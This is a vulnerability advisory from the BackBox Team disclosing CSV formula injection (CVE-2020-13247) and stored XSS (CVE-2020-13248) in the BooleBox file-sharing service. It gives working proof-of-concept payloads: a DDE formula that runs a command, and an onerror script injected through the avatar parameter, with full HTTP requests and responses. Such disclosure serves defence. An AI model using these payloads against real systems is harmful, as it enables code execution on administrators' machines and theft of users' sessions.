Search

BooleBox Secure Sharing, Multiple Vulnerabilities

May 12, 2020 / in Sharing Board

# Authors: BackBox Team
# Vendor Homepage: https://www.boolebox.it

I. INTRODUCTION

BooleBox is a Secure File Sharing Utility available as a Cloud, On-Premises or Hybrid service. The product offers a wide variety of File Sharing protection mechanisms and also the possibility of cloud online editing and collaboration.

II. CSV Injection, aka Excel Macro Injection or Formula Injection (CVE-2020-13247)

The vulnerability exists in the export feature and allows a remote user to inject arbitrary code into CSV files.

The vulnerability exists in the user's name parameter due to insufficient sanitization of user-supplied data when constructing CSV files. CSV files contain users activity logs and they are exportable from the Audit Area accessible exclusively by privileged users. In order to make the macro executable it should be placed at the beginning of the string so at the place of the user's name. Any user can modify his/her name and replace it with a malicious macro. The administrator user may export the compromised log file in CSV format and open it with Microsoft Excel. The malicious macro will be executed causing system damage.

a. Proof of Concept

Any user can perform the attack against an administrator user who has the privileged functionality of downloading activity logs in CSV format. The attacker should replace his name with a malicious macro in the area *"My account – Personal Data"*.

For example *"John Smith"* becomes *"=cmd|' /C calc'!A1 Smith"*

Then he/she should perform an action that will be recorded in the activity logs in the form *"[Name Surname] [action]"*.

For example *John Smith* renamed *"file.txt"* in *"file2.txt"* becomes:

```
=cmd|' /C calc'!A1  Smith renamed "file.txt" in "file2.txt"
```

When the administrator user open the log file with Microsoft Excel the macro will be executed and he/she will be victim of this attack.

b. ***Business Impact***

Arbitrary formulas can be injected into CSV/Excel files. This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.

III. Stored XSS Vulnerability (CVE-2020-13248)

The Web Application is affected by a Stored XSS Vulnerability. If an attacker manages other users to request the Stored XSS parameter, he/she can execute arbitrary JavaScript code within the user's browser in the context of that user's session. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf and logging their keystrokes.
Reference: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

The vulnerable function seem to require only a basic account access to the platform.

URL affected: hostname/BS/Account.aspx;
Vulnerable parameter: "avatar" json parameter;
Method: POST.

a. Proof of Concept

Any user can upload his/her own Profile Image under the My Account section, which is sent to the server as a base64 encoded sequence and embedded elsewhere in an *<img src="">* HTML tag. Here follows a sample of a valid image uploaded, URL decoded for readability reasons:

```
POST /BS/Account.aspx HTTP/1.1
Host: example.com
        ...
  [HTTP Headers]
        ...

data={"action":3,"name":null,"surname":null,"avatar":"data:image/png;base64,[BASE64
Encoded Image]","inApp":false}
```

However, whenever a user uploads an image that is not base64 encoded, the system considers it valid and copies it internally with minimal if none sanitization or safety checking. As a consequence, when an attacker loads an XSS payload as image body, it is correctly saved in the database.
Here follows the request containing the XSS payload sent to the server.

```
POST /BS/Account.aspx HTTP/1.1
Host: example.com
        ...
   [HTTP Headers]
        ...
```

```
data={"action":3,"name":null,"surname":null,"avatar":"\"
onerror=\"alert('xss')","inApp":false}
```

Once the payload is set as user's avatar, it is possible to execute the payload by clicking on the username on the top right of the main web Application page. This will trigger an Ajax request to the backend to retrieve the stored avatar, as shown in the following request example:

```
POST /BS/Account.aspx HTTP/1.1
Host: example.com
       ...
  [HTTP Headers]
       ...

data={"action":1,"getAvatar":true}
```

The response to this request, is the following:

```
HTTP/1.1 200 OK
       ...
  [HTTP Headers]
       ...

{"type":1,"details":{"name":"[NAME]","surname":"[SURNAME]","username":"[USER
EMAIL]","phone":null,"avatar":"\" onerror=\"alert('xss')","storage":
{"used":0,"total":3221225472,"usedText":"0 KB","totalText":"3
GB"},"last_access":"GG/MM/AAAA HH:MM (AM|PM)"},"subscription":{"type":"BooleBox
Business","start":"GG/MM/AAAA","cancelled":false,"renewal":{"date":"No
expiry","method":null},"payment":null},"banner":null}
```

The value corresponding to the "avatar" key is then copied client-side inside the box that appears when the request is made:

```
<div id="user_info_box_slider" class="user_info_box_slider" style="display: block;
opacity: 1;">
    <div class="userIdentityContainer clearfix">
        <div id="user_area_avatar" class="left">
            <div class="avatarUser"><img class="profileAvatar" src=""
onerror="alert('xss')"></div>
        </div>
        ... [OTHER USER DATA DISPLAYED HERE] ...
    </div>
</div>
```

and this will finally execute the XSS payload that has been set as avatar image.

Even more dangerous, any other user with Upload/Write privileges that has the attacker registerd in his/her contact list is affected by this vulnerability. Specifically, when that user navigates to the "Contacts" section and reaches the page where the attacker information is shown the following request is made to the backend.

```
POST /BS/Preview.aspx HTTP/1.1
Host: example.com
       ...
  [HTTP Headers]
       ...

data={"action":47,"users":[{"ID":"[ATTACKER ID]","Name":"[ATTACKER NAME
SURNAME]","Username":"attacker@evil.com","Email":"attacker@evil.com","AvatarId":"
[AVATAR
ID]","Avatar":"","belongGroup":true,"msgRead":null,"Domain":false,"UsersInGroup":null,
"DisplayName":""}]}
```

To this request, the backend then answers with the requested Avatar that contains the attacker's XSS payload.

```
HTTP/1.1 200 OK
       ...
  [HTTP Headers]
       ...

{"Avatar":"\" onerror=\"alert('xss')"}
```

The provided avatar, as for the previous XSS example is then inserted in an IMG HTML tag on the client side inside the dedicated to that user. An example of the output attacker's is the following:

```
<div class="singleUser clearfix pointer" id="[ATTACKER'S ID]">
  <span class="removeUser pointer icon-elimina"></span>
  <div class="userAvatar left">
    <img src="images/share/BS4_Share_Custom_Flag_S.png" class="shareButtonFlag">
    <img src="" onerror="alert('xss')" width="100%" height="100%"></div>
    <div class="userDataRubrica"><div class="user-icons"></div>
    <div class="userNameRubrica fixTextOverflow" title="[ATTACKER'S DATA]">[ATTACKER'S
DATA]</div>
  </div>
</div>
```

b. Business Impact

Up to now, we have evidence that the vulnerability interests any user that can upload his/her own avatar (even low privileged ones) and affects, besides himself/herself, any other user that added the attacker in the contact list. To the best of our knowledge, the users that can add people and access to a contact list are also those with Upload/Write privileges on the platform, which makes the Stored XSS even more dangerous.

IV. SYSTEMS AFFECTED

Currently we have no detailed information on the system versions affected, potentially all the versions could be vulnerable.

V. VULNERABILITY HISTORY

May 12th, 2020: Vendor notification

VI. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

Share this entry